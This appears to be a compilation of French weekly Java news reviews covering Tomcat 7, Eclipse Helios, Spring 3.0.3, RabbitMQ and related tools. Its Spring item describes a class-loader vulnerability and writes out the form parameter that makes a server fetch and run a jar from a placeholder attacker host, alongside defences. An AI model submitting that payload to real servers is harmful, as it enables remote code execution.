Après 18 mois de travail, Apache nous livre la première version officielle de Tomcat 7. Cette nouvelle release est désormais disponible dans les pages de téléchargements du site http://tomcat.apache.org qui intègre pour l’occasion la documentation du précieux. Comme promis de longue date, Tomcat 7 implémente les Servlet 3.0, ainsi que JSP et EL 2.2.

A ces mises à niveau s’ajoutent de nouvelles fonctionnalités:

• Détection et prévention des fuites de mémoire, pour en finir avec les OutOfMemory au rechargement des applications web liés à l’utilisation du PermGen. Ce développement avait été porté sur Tomcat 6, début avril, le voilà disponible tout naturellement sur Tomcat 7.
• La sécurité est aussi largement améliorée avec notamment un filtre permettant de bloquer les attaques de type Cross Site Request Forgery. C’est aussi une nouvelle gestion des rôles pour Tomcat Manager et Host Manager.
• La gestion d’alias de répertoire à la mode apache.
• Enfin, la possibilité d’embarquer et de lancer Tomcat simplement, ce qui ne manque pas de faire penser à Jetty.

Outre toutes ces nouveautés, le code a subi une vaste cure de nettoyage et l’équipe affirme avoir porté toutes les corrections de bugs des versions précédentes dans Tomcat 7. Nous en reparlerons sûrement sur le blog, en attendant, n’hésitez pas, faites le tour du propriétaire et sachez apprécier la nouvelle décoration.

Pour en savoir plus:

• http://www.tomcatexpert.com/blog/2010/06/29/apache-tomcat-7-has-been-released
• http://tomcat.apache.org/download-70.cgi
• http://java.dzone.com/articles/tomcat-lucky-number-7-beta

Google App Engine 1.3.5 et toolkit Paypal

La sortie de Google App Engine en version 1.3.5 apporte comme à son habitude son lot de nouveautés et de corrections pour les développeurs Java et Python:

• Une amélioration de la Task Queue API permettant de traiter 50 reqs/sec par queue au lieu de 50 reqs/sec par application. Google promet d’ailleurs de futures améliorations de scalabilité relatives à cette API.
• Le support pour la précompilation de fichiers sources Python
• Une amélioration de l’API BlobStore permettant la lecture d’un blob tel un fichier avec une classe BlobstoreInputStream.

La réelle nouveauté vient cependant de PayPal annonçant le support de sa plateforme de paiement PayPal X pour GAE.

A travers sa plateforme PayPal X, le leader du micro-paiement sécurisé propose une API clé en main, permettant aux développements d’embarquer différentes solutions de paiement dans leurs applications via différents modèles de monétisation: Le freemium, les abonnements, le pay-per-use, les micro transactions. PayPal souhaite ainsi fournir une solution de paiement adaptée à tous les besoins.

Grâce à ce nouveau service orienté e-commerce et entreprise, le géant de Moutain View espère bien profiter de la demande croissante des entreprises envers l’hébergement d’applications sur une architecture cloud, et continuer de développer son offre destinée aux entreprises.

Pour en savoir plus:

• Billet du blog Google App Engine présentant le toolkit PayPal X
• PayPal X toolkit
• Annonce de la sortie de Google App Engine 1.3.5

Le coin de la technique

Hibernate Validator 4.1.0

Outre quelques corrections de bugs et améliorations de performance au niveau de certains parsings, cette version d’Hibernate Validator fournit de nouvelles fonctionnalités intéressantes, assez bien détaillées sur le blog de Gunar Morling, un des développeurs du projet.

Pour commencer, quelques types de contraintes ont été ajoutés:

• @CreditCardNumber : permet de valider un numéro de carte de crédit selon l’algorithme de Luhn
• @NotBlank : Le champ ne doit être ni null, ni vide, ni contenir que des espaces
• @URL : valide une URL, on peut préciser le protocole, http par exemple
• @ScriptAssert : cette contrainte permet de déléguer à un langage script tiers la validation du champ, ceci étant rendu possible grâce à la JSR-223 permettant l’intégration de languages de script dans Java (à partir de la version 1.6). Plus de détail ici

De plus il est possible maintenant de choisir sa propre stratégie pour récupérer les ResourceBundle, pour par exemple associer un message d’erreur à un champ. Il suffit pour cela de fournir une implémentation de l’interface ResourceBundleLocator qui contient une méthode retournant un ResourceBundle. On peut donc par exemple stocker ces messages dans une base de données.

Enfin cette version introduit la possibilité de créer des contraintes programmatiquement. Voici un exemple qui vient de la documentation:

ConstraintMapping mapping = new ConstraintMapping();
mapping.type( Car.class ).property( "manufacturer", FIELD ).constraint( NotNullDef.class )
   .property( "licensePlate", FIELD ).constraint( NotNullDef.class )
   .constraint( SizeDef.class ).min( 2 ).max( 14 )
   .property( "seatCount", FIELD ).constraint( MinDef.class ).value ( 2 )
   .type( RentalCar.class ).property( "rentalStation", METHOD).constraint( NotNullDef.class );

On utilise le principe des méthodes chainées, ça rappelle de loin les Criteria d’Hibernate. Entre cette possibilité et celle des @ScriptAssert, l’utilisateur a désormais deux nouveaux outils pour exprimer des contraintes relativement complexes.

Evènements de notre communauté en France et à l’étranger

Le ParisJUG et l’AvantJUG

Ce mardi aura lieu la soirée du ParisJUG comme tous les deuxièmes mardis du mois. Au programme de cette soirée, les EJB 3 présenté par Adam Bien. Vous voulez avoir une idée du contenu de la soirée ? Alors lisez le billet publié par le blog des JDuchess France qui résume les concepts que présentera Adam Bien ce soir là.
Comme depuis quelques mois déjà, le ParisJUG sera précédé de l’AvantJUG. C’est un évènement organisé par les JDuchess France pour faire connaissance avant de débuter la soirée du Paris JUG. A l’origine pour inciter les femmes à venir au Paris JUG, cette rencontre est ouvert à tous ceux qui veulent discuter et partager. Si vous voulez avoir une bonne excuse pour motiver une collègue à venir au ParisJUG ou tout simplement échanger autour d’un verre, venez donc à l’AvantJUG ! Toutes les modalités pour l’inscription se trouvent ici.

Outils

• Helios, Eclipse 3.6

SOA

• Tomcat Stats: administrer Tomcat depuis son iPhone

Le coin de la technique

• Articles sur Groovy/Spring et Grails/Hibernate
• Un nouveau top 10 orienté performance

Agilité

• Happy birthday Post-It !

Outils

Helios, Eclipse 3.6

Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d’Helios pour incarner la version annuelle d’Eclipse. Cette livraison ne contient pas moins de 39 projets de la fondation Eclipse et les supports pour Windows7, Ubuntu 10.04 et PowerPC 64 bit ont été ajoutés.

Pour ceux qui aiment ajouter une multitude de plugins à leur Eclipse, au lieu de passer par le « Install new software… », un lien direct vers le Marketplace permet très facilement d’installer ces plugins, un peu à la manière d’un plugin Firefox (tout comme le redémarrage obligatoire). L’ancienne méthode marche toujours pour les applications qui ne se trouvent pas sur le Marketplace. Et sûrement que les fans de DVCS (Distributed Version Control System) vont se précipiter sur le plugin EGit/JGit pour gérer ses sources sous Git, JGit étant l’implémentation full java utilisée également sur d’autre projets alors qu’EGit est sa surcouche pour Eclipse. Le résultat est assez prometteur.

En ce qui concerne uniquement Java, quelques petites améliorations ont été apportées:

• Les options du formatter acceptent plus de sémantiques comme les annotations, la déclaration de méthodes ou la possibilité de désactiver le formatter d’une partie du code (intéressant pour aider des merges compliqués).
• Les fonctionnalités sur le breakpoint, comme l’ajout d’une condition ou le compteur, sont à présent directement accessibles dans le panel breakpoints et non plus en passant par un menu contextuel dans le code.

La version 3.7 devrait surtout se concentrer sur Java7. Ian Bull d’Eclipse propose un top ten intéressant pour faire le tour des fonctionnalités. Arrive en tête l’application Xtext qui permet d’écrire son propre DSL puis de générer à partir de celui-ci son propre éditeur Eclipse contenant la complétion et différents outils pour coder dans ce nouveau langage. Une affaire à suivre.

Mais malgré toutes les nouvelles fonctionnalités, Helios sera surtout scruté pour les multiples bugs corrigés, sa gourmandise en RAM et sa stabilité, ce que seule une pratique intensive pourra valider. Alors à vos souris !

SOA

Tomcat Stats: administrer Tomcat depuis son iPhone

MuleSoft, plus connu pour son ESB Open Source Mule, a récemment annoncé la sortie de Tomcat Stats, la première application de monitoring Tomcat pour iPhone. Cette application gratuite vient enrichir l’offre de support également gratuite, proposée par MuleSoft depuis maintenant presque une année. L’application permet à un administrateur de gérer à distance plusieurs instances de Tomcat, qu’elles soient installées au sein de l’infrastructure propre de l’entreprise ou dans le Cloud. L’ensemble des informations critiques des serveurs administrés pourra alors être consulté depuis l’application, notamment l’utilisation mémoire, les statistiques sur le traffic Web, ainsi que le statut du serveur.

Pour télécharger l’application, rien de plus simple il suffit de se rendre sur l’App Store, directement depuis son mobile, ou sur iTunes à l’adresse suivante : Tomcat Stats By MuleSoft Inc.

Bien qu’un peu gadget, et pas vraiment indispensable, cette application iPhone offrira toujours aux administrateurs la possibilité de prolonger leur pause café sans avoir à culpabiliser.

Le coin de la technique

Articles sur Groovy/Spring et Grails/Hibernate

IBM developerWorks nous a récemment gratifié d’un article en 2 parties intitulé « GroovierSpring ». Dans la première partie, nous apprenons à définir des beans Spring en Groovy. Quatre méthodes sont à notre disposition:

• Utilisation de classes Groovy compilées en .class normaux
• Utilisation de classes Groovy directement sous forme de .groovy
• Utilisation de scripts Groovy en ligne, écrits dans la configuration Spring
• Utilisation de Bean Builder de Grails

Cette dernière possibilité permet de créer des beans dynamiquement, à partir de code Groovy. Cela sous entend que l’on peut, par le code, adapter les beans obtenus selon le contexte, les créer en utilisant des boucles, de la logique… C’est d’ailleurs une solution utilisée dans Grails.

Une fois les beans correctement définis, nous pouvons les utiliser comme n’importe quel bean Java défini plus classiquement. Le fait que les beans soient à l’origine en Groovy est complètement transparent à l’application.
La seconde partie de l’article va plus loin en explorant le rechargement à chaud des beans Groovy. C’est une plus-value importante: qui n’a jamais rêvé de pouvoir changer facilement certains bouts de code soumis aux désirs changeants des clients (ou à des bugs récurrents !) ? De plus, l’article propose une implémentation permettant de stocker son code Groovy en base de donnée, car il n’est pas toujours évident d’accéder au système de fichier des applications en production. C’est une idée assez peu conventionnelle ! D’ailleurs, le paragraphe de fin, intitulé « When Groovy scripts go bad », constitue une mise en garde pour ne pas abuser de ces possibilités, et être conscient des problèmes de sécurité soulevés.

Tant que nous somme dans le monde de Groovy, il nous semble intéressant de vous indiquer un article du blog de SpringSource qui s’intitule « GORM Gotchas (Part 1) ». Il pointe du doigt des comportements de GORM (la couche de persistance de Grails basée sur Hibernate) pouvant sembler bizarres. Les habitués d’Hibernate n’apprendront pas grand choses, mais l’article éclairera sans doutes ceux qui, attirés par la simplicité de Grails, se sont mis à l’utiliser sans expérience préalable d’Hibernate. Ils comprendront ainsi pourquoi leurs objets ne sont pas toujours sauvegardés immédiatement malgré un appel à « save() », et pourquoi ils le sont parfois en l’absence d’appel à cette même méthode. Un autre article traitant de Grails et Hibernate nous vient de Ted Naleid. Celui-ci explique comment il a pu améliorer les performances de son batch en flushant la session Hibernate et en vidant une Map de validation utilisée par Grails en interne. Ces 2 opérations exécutées régulièrement au cours du batch lui ont permis de démultiplier les performances. Grails s’appuie sur Hibernate, et il est parfois bon de se remémorer le fonctionnement de celui-ci pour expliquer et remédier à des problèmes observés coté Grails !

Un nouveau top 10 orienté performance

Ce top10 se trouve sur le blog de l’éditeur Dynatrace. A travers ce que ses consultants ont pu voir chez leur client (on parle donc d’un top 10 sélectif, chez des clients qui avaient conscience d’avoir des problèmes et qui pouvaient se permettre de les diagnostiquer avec un outil comme Dynatrace), il dresse un panorama qu’il est bon de toujours avoir à l’esprit durant nos développements. Nous nous sommes permis de le compléter avec nos propres retours d’expérience.

• une base de données trop sollicitée, ce qui inclut des données requetées trop grandes, ou requetées plusieurs fois, ou encore de trop nombreuses requêtes pour rapatrier une seule donnée (problème des mauvais usage des ORM).
• une mauvaise programmation concurrente, avec un excès de synchronisation.
• un manque de compréhension des appels remote et donc un trop grand nombre d’appels.
• un mauvais usage des frameworks de mapping objet – relationnel. Ce point est largement répandu chez nos clients, en couvrant un large spectre, du simple problème de paramétrage à l’utilisation la plus hors de propos de la librairie.
• l’existence de fuite mémoire (mais pourquoi ce point n’a t’il pas été placé en premier ?)
• une librairie tierce coupable de mauvaises performance. Avec la multiplication des composants dans nos applications, le risque d’introduire des librairies moins robustes et moins performantes existe. Nous avons toujours trouvé étonnant de voir partir en production certains projets basés sur des librairies en béta…
• une mauvaise utilisation des ressources machine (CPU, I/O…). Un traitement prend 50 % de CPU pendant 2 ms. Pas de quoi fouetter un chat ? Multipliez le par 1000 utilisateurs, une consommation mémoire excessive entraînant de fréquents GC, et nous en reparlerons.
• des sites web trop chargés. La bande passante ne cesse d’augmenter, mais ce n’est pas une raison pour surcharger vos frontaux avec de nombreuses images trop volumineuses, des appels AJAX incessants, en ignorant joyeusement les stratégies de cache navigateur et/ou serveur.
• une mauvaise gestion de caching des objets en mémoire. Surchargez votre mémoire pour alléger votre base, et c’est le Garbage Collector qui vous rappellera à l’ordre.
• la sérialisation coute cher. Attention donc, si vous multipliez les appels RMI ou SOAP, à ne pas sérialiser trop d’objets, ou des objets trop volumineux.

Nous avons échangé les places du point n°10 et du point bonus. Le point n°10, même si il a une réalité tangible, nous paraissait un peu trop marketing (mais c’est en partie la raison de vivre d’un blog éditeur) et nous préférons le déplacer en bonus :

• le problème intermittent, invisible. C’est celui dont il faut se prémunir en multipliant les tests (fonctionnels, de charge) ou en étant idéalement outillé.

Agilité

Happy birthday Post-It !

Et pour conclure cette revue de presse, nous ne résistons pas à l’envie de partager avec vous cette nouvelle d’importance: les Post-It, ces fameuses petites notes collantes multicolores, fêtent leurs 30 ans. Rappelons que l’utilisation de Post-It est devenue partie intégrante de la pratique de Scrum. Comment mettre à jour facilement la liste des tâche d’un Sprint sans Post-It ?! Alors pour leur rendre hommage, regardons quelques photos ou encore cette magnifique vidéo de laquelle ils sont les acteurs majeurs. Bon anniversaire les p’tits gars !

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

• RabbitMQ 1.8

RIA

• Du côté de chez Play! Framework
• ExtJS + Raphael + jQtouch = Sencha

SOA

• WSO2 lance Stratos, un PaaS ouvert

Le coin de la technique

• Spring, version 3.0.3 et faille de sécurité
• Trucs et astuces pour Eclipse
• Sortie d’Apache Click 2.2.0
• Netbeans 6.9
• Choisir entre mod_jk et mod_proxy, par Mark Thomas

Actualité éditeurs / SSII

RabbitMQ 1.8

Alors que des idées originales sont proposées autour de RabbitMQ, comme cette proposition de clustering de session dans Tomcat, la nouvelle version sort enfin des cartons.

La possibilité d’ajouter un plugin pour modifier la persistance des messages et un autre pour définir ses propres types d’échanges semble s’adresser surtout aux spécialistes (RabbitMQ pour l’instant ne propose qu’un mode de persistance même si un nouveau est annoncé prochainement).

Un gros effort a été fourni également pour se rapprocher de la version 0.9.1 de la spécification d’AMQP qui est actuellement en version 0.10 et déjà supportée par Qpid. Inutile donc de rêver à la futur version 1.0 qui encore en phase de validation et qui demandera beaucoup d’efforts aux brokers pour l’implémenter. Néanmoins RabbitMQ profite de cette montée de version pour améliorer sa sémantique, par exemple en ne permettant plus de acker plusieurs fois un même message.

On peut regretter aussi que cette version n’apporte pas de nouveaux ponts vers Spring, suite à son rachat par VMWare, même s’il existe déjà des solutions externes.

Une nouveauté tout de même sympathique, la possibilité à présent de passer par Maven pour le client Java :

<dependency>
    <groupId>com.rabbitmq</groupId>
    <artifactId>amqp-client</artifactId>
    <version>1.8.0</version>
</dependency>

Bien que cette version ne révolutionne rien, elle corrige pas mal d’imperfections et il est chaudement conseillé de l’installer.

RIA

Du côté de chez Play! Framework

Play!, le framework qui monte, qui monte, vient de passer un cap important : une Cheat Sheet vient de lui être consacrée !

Les releases s’enchaînent à un tel rythme que cette antisèche est pour la version 1.0.2.1 alors que Play! en est déjà à la 1.0.3. Mais elle devrait tout de même se révéler fort utile pour débuter en toute quiétude, sans avoir à chercher dans la doc toutes les 30 secondes.

• Play! Framework Cheat Sheet

Egalement à signaler, le lancement d’une plateforme pour héberger vos applications Play! : PlayApps. En quelques clics, vous pouvez désormais réserver un espace dimensionné à vos besoins et déployer une application rapidement. Base MySql, accès SSH, et un joli tableau de bord qui a l’air assez complet, pour manager vos applications. Si certains lecteurs ont des retours à faire sur cette offre, nous n’avons pas encore eu l’occasion de tester ça, et nous sommes curieux.

ExtJS + Raphael + jQtouch = Sencha

Nous connaissons ExtJS mais pas forcément la compagnie qui se trouve derrière le framework. Celle-ci ayant grossit ces derniers mois, une nouvelle identité nous est désormais proposée : ExtJS devient Sencha ! (via ajaxian)

Alors, qu’y a-t-il derrière cette nouvelle identité ? Et bien plusieurs produits déjà sortis et d’autres encore en incubation :

• Sencha Touch : framework HTML5 pour développement mobile (iPhone et Android) ;
• Ext Designer : application desktop de création d’interfaces ;
• Ext JS : on ne présente plus ce framework de création d’interfaces riches en Javascript ;
• Ext GWT : Ext JS pour les développeurs Java et GWT ;
• Ext Core : librairie Javascript cross-browser ;
• [Labs] jQTouch : librairie de développement mobile léger avec animation et plugin UI pour jQuery ;
• [Labs] Raphaël : librairie de développement de graphiques vectoriels SVG ;
• [Labs] Connect : framework regroupant Rack et NodeJS (j’attend déjà avec impatience !) pour un serveur d’application lean et event driven.

Bienvenue donc à Sencha et à sa pléiade de produits déjà fortement utilisés dans la communauté.

SOA

WSO2 lance Stratos, un PaaS ouvert

WSO2, éditeur de la plateforme open source de middleware Carbon, a annoncé en début de mois sa nouvelle plateforme PaaS Stratos. D’après Paul Fermantle, CTO de la firme, leur offre se démarque des autres PaaS du marché comme Google App Engine, par les points suivants :

• contrairement à GAE ou Force.com, Stratos peut être utilisé aussi bien sur des nuages privés que public,

• Stratos n’offre pas seulement une plateforme pour le développement d’applications web, mais une architecture d’un SI d’entreprise complète avec notamment un ESB, de l’orchestration de services, etc …,

• Stratos se repose essentiellement sur des standards ouverts et des modes de déploiement classiques ce qui favorise la portabilité des applications.

Vous pouvez d’ores et déjà l’essayer à cette adresse

Le coin de la technique

Spring, version 3.0.3 et faille de sécurité

Grâce aux feedback de la communauté sur Spring 3.0.2, et à plusieurs semaines de travail, SpringSource nous livre une version 3.0.3 corrigeant plus d’une centaine de bugs mineurs. Les aspects ayant le plus bénéficié de ce travail sont les taglibs JSP et les supports de OpenJPA 2.0, Hibernate 3.5.2 et JBoss 6.0.0 M3, annoncés comme pleinement opérationnels maintenant.

Plus de détails sur l’annonce officielle. Il est à noter que cette version corrige une faille de sécurité assez importante découverte sur la partie MVC et remontée par Meder Kydyraliev, de l’équipe sécurité de Google. Les versions 2.5 et 3.0.0 du framework sont touchées par cette faille.

Le principe de l’attaque consiste à :

1. Réaliser un jar accessible depuis internet avec un fichier META-INF/spring-form.tld et un répertoire META-INF/tags/ contenant le code Java du tag
2. Soumettre un formulaire avec le paramètre HTTP : class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
3. Ensuite, le comportement interne de Spring fait qu’il va télécharger http://attacker/attack.jar pour l’exécuter sur la JVM du serveur d’application.

Pour se défendre de ce type d’attaque il y a deux possibilités :

• Faire une mise à jour du framework Spring (de 2.5.6 à 2.5.7 ou 3.0.0.RELEASE à 3.0.3.RELEASE)
• Ou définir une règle firewall pour empêcher le téléchargement des fichiers indiqués dans l’URL soumise

Pour plus détails, je vous invite à lire le billet de Julien Dubois sur son blog Responcia

Sortie d’Apache Click 2.2.0

Apache Click est un framework web JEE orienté composants et évènements. Les pages et les composants sont développés en Java alors que la partie templating s’écrit en Velocity, en FreeMarker ou en JSP. Click est stateless par défaut mais peut être paramétré pour être stateful. A noter qu’il est top-level project chez Apache depuis Novembre 2009.

Les nouveautés de cette version sont nombreuses. Elles vont de la mise à jour des versions de Velocity et Cayenne en passant par la correction de bugs divers concernant la gestion des dates dans Click ainsi que l’ajout de nombreuses classes techniques apportant chacune leur lot de nouveautés.

Les liens utiles : téléchargement, guide utilisateur et exemples.

Trucs et astuces pour Eclipse

De plus en plus de développeurs sont convaincus par IntelliJ IDEA, l’IDE de JetBrains. Les raisons sont diverses et variées : de meilleurs plugins, une meilleure intégration avec de nombreux frameworks ou bien encore de nouvelles fonctionnalités manquant cruellement à Eclipse. Certes, IDEA apporte son lot de changements par rapport à Eclipse mais il faut toutefois remarquer que de nombreuses fonctionnalités de ce dernier ne sont pas bien mises en avant par l’IDE et sont mêmes pour certaines inconnues des développeurs. Voilà donc une petite série d’articles du côté de chez CertPal de type trucs et astuces qui vous permettra peut-être de découvrir quelques fonctionnalités d’Eclipse.

Le premier article se consacre au code templates. Exemple : la complétion sur syso nous génère automatiquement System.out.println(). De nombreux templates sont déjà disponibles et il sera bien sûr possible d’en ajouter très facilement. L’auteur nous présente alors quelques possibilités de templates comme le go générant un main, le log générant une variable de log avec les imports adéquats ou bien encore le tryf générant un block try/catch/finally.

Le second se focalise sur le débogage de l’application. Cela commence par la mise en place du remote debugging. Puis, l’auteur détaille les points d’arrêt conditionnels, la vue display qui permet l’exécution de code live avec toutes les variables du scope à disposition, la définition d’un detail formatter spécifique et la modification live de valeurs depuis la vue d’inspection. Un très bon article et un très bon rappel de tous les outils et fonctionnalités qui sont à notre disposition pour le debug de nos applications.

Enfin, sorti en début de semaine dernière, un troisième article, plus global, décrit plusieurs astuces comme la définition de raccourcis spécifiques, la customisation de la complétion, l’import/export des préférences ou la très intéressante vue local history.

La série n’étant peut-être pas finie, il faudra garder un œil pour un éventuel quatrième article.

Netbeans 6.9

Aprés IntelliJ et Eclipse, Netbeans ! Netbeans 6.9 est sorti la semaine dernière, environ 7 mois après la 6.8 avec en guest star JavaFX Composer. Pensé un peu comme Java Swing Builder (anciennement projet Matisse), disponible aussi dans Netbeans, cet outil permet de construire graphiquement des éléments d’un formulaire, associés à des états et une source de données. Tout comme l’ajout du support de PHP Zend Framework, cette fonctionnalité devrait attirer quelques développeurs plus web que java.

Parmi les autres nouveautés :

• intégration d’OSGI
• support de Spring 3.0.0
• support REST web services pour les applications RCP
• support de Rails 3.0

A noter aussi que cette version est accompagnée de la nouvelle version 3.0.1 de Glassfish qui corrige au moins une centaine de bugs.

Bien que ce soit une version majeure, pas sûr néanmoins qu’elle fasse de l’ombre à la version annuelle d’Eclipse, Helios de son petit nom, qui sort très prochainement et dont on parlera également dans cette revue de presse.

Choisir entre mod_jk et mod_proxy, par Mark Thomas

Nous avons déjà parlé sur le blog, Mark Thomas enfonce le clou. Sur le blog Tomcat Expert, il s’est fendu d’un nouvel article qui se veut une checklist pour choisir entre le mod_jk et le mod_proxy. Mark commence d’ailleurs en disant clairement que ce sont les seules solutions à considérer aujourd’hui. Il affiche sa préférence pour le mod_jk et le mod_proxy_http face au mod_proxy_ajp encore un peu jeune. Ses conclusions sont:

• Si vous devez crypter la communication entre Apache et Tomcat, utilisez le mod_proxy.
• Si vous devez exposer à Tomcat les informations SSL, utilisez le mod_jk.
• Si vous avez déjà un de ces modules en production, ne changez rien.
• Mark préfère le mod_proxy_http, pour sa configuration plus consistante.

Pour plus d’information, vous pouvez lire son article sur le blog Tomcat Expert, ou connaître notre avis sur la question: mod_proxy vs mod_jk.

Actualité éditeurs / SSII

• HornetQ 2.1

Le coin de la technique

• Git podcastcodé
• Fuites mémoires dans Tomcat

Actualité éditeurs / SSII

HornetQ 2.1

La version 2.1 d’HornetQ est sortie la semaine dernière. Trois nouvelles fonctionnalités importantes ont été apportées :

• La possibilité de regrouper des petits messages, au niveau du protocole TCP, dans un seul envoi
• Ajout du protocole STOMP, un protocole de messagerie texte très simple mais qui a l’avantage de s’adapter à de nombreuses plateformes et langages.
• Implémentation de l’API WebSocket pour STOMP. WebSocket est apparu avec la nouvelle norme HTML5 et propose une normalisation de l’API javascript pour tout ce qui concerne le maintien d’une socket vers le serveur, reprenant le principe de Comet.

Ces deux derniers points sont aussi prévus dans la version 5.3.4 d’ActiveMQ.

Dans la roadmap de la version 2.2 :

• Rest: accepter le protocole HTTP
• Serverless: un client HornetQ embarquant un serveur
• AMQP: implémentation de la version 1.0, pas encore finalisée, de ce protocole

Le coin de la technique

Git podcastcodé

Avec ce titre, nous voulons signaler que Git, le gestionnaire de versions décentralisé, a été mis à l’honneur du dernier épisode du podcast des Cast Codeurs. Emmanuel Bernard, de JBoss, interroge David Gageot d’Algodeal, qui utilise Git depuis 2 ans déjà, et nous livre quelques bons cas d’utilisation et exemples.
Alors quels sont les arguments utilisés pour vanter ce DVCS ? Ce qui ressort c’est surtout le gain de temps et le fait que Git ne se met pas en travers du chemin de ses utilisateurs. Les commits sont rapides car en local, et seuls les changements sont commités, pas les versions finales des fichiers. Un bénéfice qui en découle est que les développeurs sont ainsi poussés à commiter souvent. Git détecte aussi automatiquement les déplacements et renommages des fichiers , ce qui permet des refactorings agressifs.
Bien sûr, David Gageot évoque la question que tout le monde se pose: si la même ligne change à 2 endroits, que se passe-t-il alors ? Effectivement, ce cas doit être résolu manuellement, mais il précise que, grâce aux commits fréquents qu’encourage Git, et comme il se base sur les modifications successives, ce cas survient moins souvent.
Une méthodologie particulière, qui intéressera tous ceux qui ont déjà passé des heures à chercher quel commit avait été à l’origine d’un bug, est aussi décrite. Elle se base sur l’outil git-bisect pour détecter rapidement (par dichotomie) la révision où un bug est apparu. La description de cette fonctionnalité est assez bluffante !
En vrac, sont aussi évoqués:

• Git SVN qui permet de se faire la main en local sur Git tout en continuant d’utiliser le SVN de son équipe par exemple.
• Git Hub présenté comme la killer app de Git qui est en quelque sorte un Sourceforge 2.0, plus social.
• L’absence de vraie roadmap publique, justifiée par le développement qualifié d’organique, mais la bonne progression du projet n’en semble pas affectée.

Au final, une phrase qui résumera bien tout cet entretien est « Git, si tu as besoin de le vendre à ton manager, change de manager » . David Gageot entend par là montrer à quel point Git améliore la productivité.
Emmanuel Bernard semble d’ailleurs avoir été tellement convaincu qu’il vient de publier un article intitulé « Git: how my life has improved since last month when I used SVN ».
Et pour terminer sur Git, notons qu’InfoQ annonce les dernières versions des plugins Eclipse JGit et Egit. Jgit est la librairie Java permettant de communiquer avec un repository Git, alors que EGit est son frontend graphique permettant d’y accéder dans Eclipse. Il est précisé que le format étant standardisé, il est possible (voir recommandé, car le développement est encore en cours) d’utiliser ces plugins conjointement à Git version ligne de commande. C’est quelque chose qu’apprécieront les nombreuses personnes ayant déjà eu des problèmes suite à une montée de version de SVN en ligne de commande alors que les plugins SVN pour Eclipse, inchangés, étaient rendu non fonctionnels (voir corrompaient carrément les fichiers !).

Fuites mémoires dans Tomcat

Vous êtes en train de tester votre application qui tourne sur Tomcat depuis votre IDE mais vous aimeriez faire une petite modification sur votre contrôleur et vous êtes en build automatic. La compilation se met en marche et là, pas de chance, les piles d’erreurs s’accumulent dans votre console. Plus rien ne fonctionne, vous êtes bon pour redémarrer votre serveur.

Ce problème bien connu, du en général à des OutOfMemoryException, arrive car la dé-allocation des objets utilisés se passe mal, la pile PermGen de la JVM accumule les objets sans dégrossir provoquant des PermGen Exception. Une interview très intéressante de Mark Thomas, commiter sur Apache Tomcat, nous éclaire sur le pourquoi du comment et les améliorations prévues pour Tomcat 7.

D’après son expérience, les fuites mémoires sont surtout dues à des défauts dans les librairies utilisées. Tomcat affecte un classloader par application, lorsqu’une application est rechargée Tomcat tente d’abord de nettoyer tous les objets liés au classloader avant d’en affecter un nouveau. Si jamais pour une raison ou une autre un objet d’un autre classloader pointe vers celui qu’on veut supprimer, les objets ne peuvent être supprimer. Les API ou applications qui peuvent être responsables de cette situation sont en général :

• JDBC driver registration
• Some logging frameworks
• Storing objects in ThreadLocals and not removing them
• Starting threads and not stopping them

Pour corriger cela, Tomcat lance des méthodes de nettoyage ad hoc pour tous ces types de problème et si jamais ce n’est pas possible, trace précisément la cause du non dé-référencement.

Plus surprenant peut-être, les causes de fuites mémoires sont parfois provoquées par la JRE elle-même. Dans ce cas Tomcat va tenter d’intercepter ces appels directs à la JVM pour pouvoir contrôler par la suite son référencement. On apprend à l’occasion que l’implémentation de java.util.logging dans la JRE n’est pas gérée par un classloader classique et Tomcat doit la surcharger.

Cet interview donne une idée assez claire de ce qui se passe dans Tomcat au moment du chargement d’une application. Les curieux peuvent étudier les classes WebappClassLoader (surtout la méthode clearReferences()) et JreMemoryLeakPreventionListener pour connaitre un peu mieux le fonctionnement interne. Tomcat 7 devrait apporter de nombreuses améliorations qui, bonne nouvelle, ont été aussi backportées sur la version 6.0.24 et donc déjà disponible.

Un peu d’histoire

Tout commence en 1997 avec la création d’Apache JServ. A l’époque, il s’agit d’un serveur de Servlet qui supporte uniquement le protocole AJP créé pour l’occasion. Dans l’architecture initiale, c’est Apache 1.1 qui fournit le serveur web et transfère les requêtes par socket au moteur de Servlet. C’est la naissance du protocole AJP dans sa première version implémentée par le mod_jserv. L’Apache JServ Protocol fonctionne au départ comme un proxy qui redirige le flux vers JServ. Le protocole est en texte clair et utilise un caractère en début de ligne pour distinguer les différents éléments de la requête.

Rapidement, le protocole initial est considéré comme trop limité car il fonctionne uniquement en loopback et possède une authentification pauvre. En 1998, le protocole AJP 1.1 permet à JServ de tourner sur une autre machine que le serveur web et d’assurer une authentification forte basée sur md5. Avec le développement de JServ appparaît un problème de performance important : le coût d’ouverture d’une socket et la vitesse des réseaux. Ils sont considérés à l’époque comme les principaux goulets d’étranglement. Pour résoudre ces problèmes, le protocole passe à la version 1.2 dont vous trouverez le draft initial ici. AJP 1.2 est un protocole binaire orienté paquets qui permet de recycler la ou les sockets connectées à JServ. Le passage au binaire permet aussi d’améliorer les performances car il diminue la taille des données qui transitent et simplifie le traitement.

En 1999, Sun offre son implémentation de référence des Servlets à la fondation Apache. C’est le point de départ des projets Tomcat et Ant. Commence alors une période de transition qui finira par l’abandon d’Apache JServ. Pendant cette transition, AJP sera porté sur Tomcat qui bénéficiera d’emblée d’une facilité d’interconnexion avec Apache. Aux alentours de 2000, le mod_jk est développé pour étendre AJP qui pourra supporter le transport des données SSL. C’est la version 1.3 que l’on retrouve aujourd’hui supportée par les dernières générations de Tomcat. Après toutes ces années de développement, le mod_jk est maintenu par le projet Tomcat Connectors et n’a jamais été intégré aux projets Apache.

